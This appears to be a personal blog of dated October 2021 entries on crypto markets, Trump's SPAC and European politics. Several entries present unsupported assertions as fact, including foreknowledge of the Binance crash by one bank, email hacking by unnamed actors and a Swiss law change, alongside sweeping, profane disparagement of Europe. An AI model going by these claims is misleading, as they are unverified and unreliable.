SEC is "poised to allow the first U.S. Bitcoin futures exchange-traded fund to begin trading in a watershed moment for the cryptocurrency industry." yeah, one of the (major) regulated exchanges (finally) put together an offering and is running it in demo mode. With a flip of a switch it will go production.
Oct 15 2021
The Assignment (Or, on the Observing of the Observer of the Observers)
His last and his best. Because clearly a documentary. He died in the 1990, somehow we still have to live in his world.
On a weekend, it's poker, naturally. Purely casino.
Oct 17 2021
Figured out bonding curve on NFT. Some hardcore stuff. Nobody cares, they are too busy destroying what's left of the USA. There will be a lots of money in construction next 5-10 years, that's almost certain.
Oct 18 2021
Liquidity baking. Accumulation - first wave - uncertainty - second wave. French stuff.
Oct 19 2021
First step was human. Now they brought in the machines (because machines always beat humans). So whatever humans piled up - machines will take.
Oct 20 2021
Some European countries are *completely* fucked up after last 4 years. Looks like Europe decided to stay insane for some time now. I think the idea was "if nobody likes us, let's become the scariest". They always broadcast shit on TV (or in the theaters) to put population into war mode. What a waste.
Not only European countries. "Stacking on Eu" and all that semantics bullshit *really* got to people's heads. No winners.
You can always bet on Europe to be hysterical. Interestingly certain bet. Producers. Mr Bloom. Accountant.
Switzerland was first country to abolish "mother" and "father" (replaced with parent N1 and parent N2). Of course. The head of the snake is in Europe.
Oct 21 2021
Crypto Slide The Result Of A "87%-Off" Binance Fat Finger
At exactly 7:34am ET, with Ethereum trading in record territory at Bitcoin not too far from its own all-time high hit just hours earlier, the crypto space was slammed with what appeared to be a liquidation order, one which immediately halted the upward momentum and sent cryptos sharply lower (perhaps just as intended). - Yes it was as intended and there was one bank who knew 24 hours before.
Very interesting situation with various email accounts. They *do* hack people's emails.
Oct 22 2021
Well, that's why they knew. Today was their turn to eat the losses. Basically, the market is wrecked a little bit. PA next week will determine a lot. Too early to tell anything.
Oct 24 2021
'The Richest He's Ever Been': Trump Set To Gain Billions In Net Worth On Moonshot SPAC There are many reasons to be skeptical of the valuation. It will be months before the new venture publicly releases its first product, a social-media platform called Truth Social. And there are already technical issues. On Thursday, the Truth Social page was hacked to make it appear that Trump shared a photo of a defecating pig.
It's also unclear how Trump plans to build a social-media platform on the scale of Twitter over the next few months, let alone a streaming service, which is the next phase of Trump Media's plans, according to the press release announcing the company. That statement was light on numbers even by SPAC standards.
He can build his own twitter. And his own youtube. It can be done in a few months. The question is will he go to jail next few months? And the *real* question, will his wife be subpoenaed? That's the *only* question.
Oct 25 2021
Taleb on Bitcoin he makes a little (but critical) factual error. He hedged his error nicely like "I am not aware of X" but it's still a factual error. He is not a matematician. Never been.